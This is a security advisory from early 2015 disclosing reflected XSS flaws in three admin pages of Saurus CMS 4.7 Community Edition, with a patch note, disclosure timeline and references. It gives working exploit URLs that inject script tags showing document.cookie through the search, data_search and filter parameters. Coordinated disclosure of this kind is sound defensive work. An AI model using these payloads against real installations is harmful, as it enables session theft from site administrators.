Advisory: Reflecting XSS vulnerabilities in CMS Saurus v. 4.7 (CE) Advisory ID: SROEADV-2015-05 Author: Steffen Rösemann Affected Software: CMS Saurus v. 4.7 (CE, released: 12.08.2014) Vendor URL: http://www.saurus.info Vendor Status: patched CVE-ID: - ========================== Vulnerability Description: ========================== The administrative backend of the Content Management System Saurus CMS v. 4.7 (Community edition, released: 12.08.2014) suffers multiple reflecting XSS vulnerabilities. ================== Technical Details: ================== Reflecting XSS vulnerabilities reside in the following URLs of a common Saurus CMS v. 4.7 installation: user_management.php (parameter "search" is vulnerable to XSS): http:// {TARGET}/admin/user_management.php?tmpuser_search=1&tmpgroup_search=1&tmpsearch_subtree=1&search=&user_search=1&group_search=1&group_search=1&flt_role=&keepThis=true&id=&op=&keel=&group_id=1&view=overview_false&user_id=&user_prev_id=&user_next_id= Exploit-Example http:// {TARGET}/admin/user_management.php?tmpuser_search=1&tmpgroup_search=1&tmpsearch_subtree=1&search=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C!--&user_search=1&group_search=1&group_search=1&flt_role=&keepThis=true&id=&op=&keel=&group_id=1&view=overview_false&user_id=&user_prev_id=&user_next_id= profile_data.php (parameter "data_search" is vulnerable to XSS): http:// {TARGET}/admin/profile_data.php?data_search=&profile_search=&profile_id=0 Exploit-Example http:// {TARGET}/admin/profile_data.php?data_search=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C!--&profile_search=&profile_id=0 error_log.php (parameter "filter" is vulnerable to XSS): http:// {TARGET}/admin/error_log.php?id=&op=&keel=&group_id=1&otsi=1&page=&filter=bla&algus=31.12.2014&lopp=07.01.2015&err_type=&otsi=1&page=&filter=&algus=31.12.2014&lopp=07.01.2015&err_type= Exploit-Example http:// {TARGET}/admin/error_log.php?id=&op=&keel=&group_id=1&otsi=1&page=&filter=bla&algus=31.12.2014&lopp=07.01.2015&err_type=&otsi=1&page=&filter=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E%3C!--&algus=31.12.2014&lopp=07.01.2015&err_type= ========= Solution: ========= Upgrade to the latest version of Saurus CMS v. 4.7 (release-date: 27.01.2015). ==================== Disclosure Timeline: ==================== 07-Jan-2015 – found the vulnerabilities 07-Jan-2015 - informed the developers (see [2]) 07-Jan-2015 – release date of this security advisory [without technical details] 08-Jan-2015 - vendor responded, going to patch the issue 22-Jan-2015 - vendor needs more time as he wants to patch another vulnerability simultaneously 27-Jan-2015 - vendor releases patch (see [4]) 27-Jan-2015 - release date of this security advisory 27-Jan-2015 - send to FullDisclosure ======== Credits: ======== Vulnerability found and advisory written by Steffen Rösemann. =========== References: =========== [1] http://www.saurus.info [2] https://github.com/sauruscms/Saurus-CMS-Community-Edition/issues/61 [3] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-05.html [4] https://github.com/sauruscms/Saurus-CMS-Community-Edition/commit/8dec044d0fdabcb9b04e58037623385a97b0d288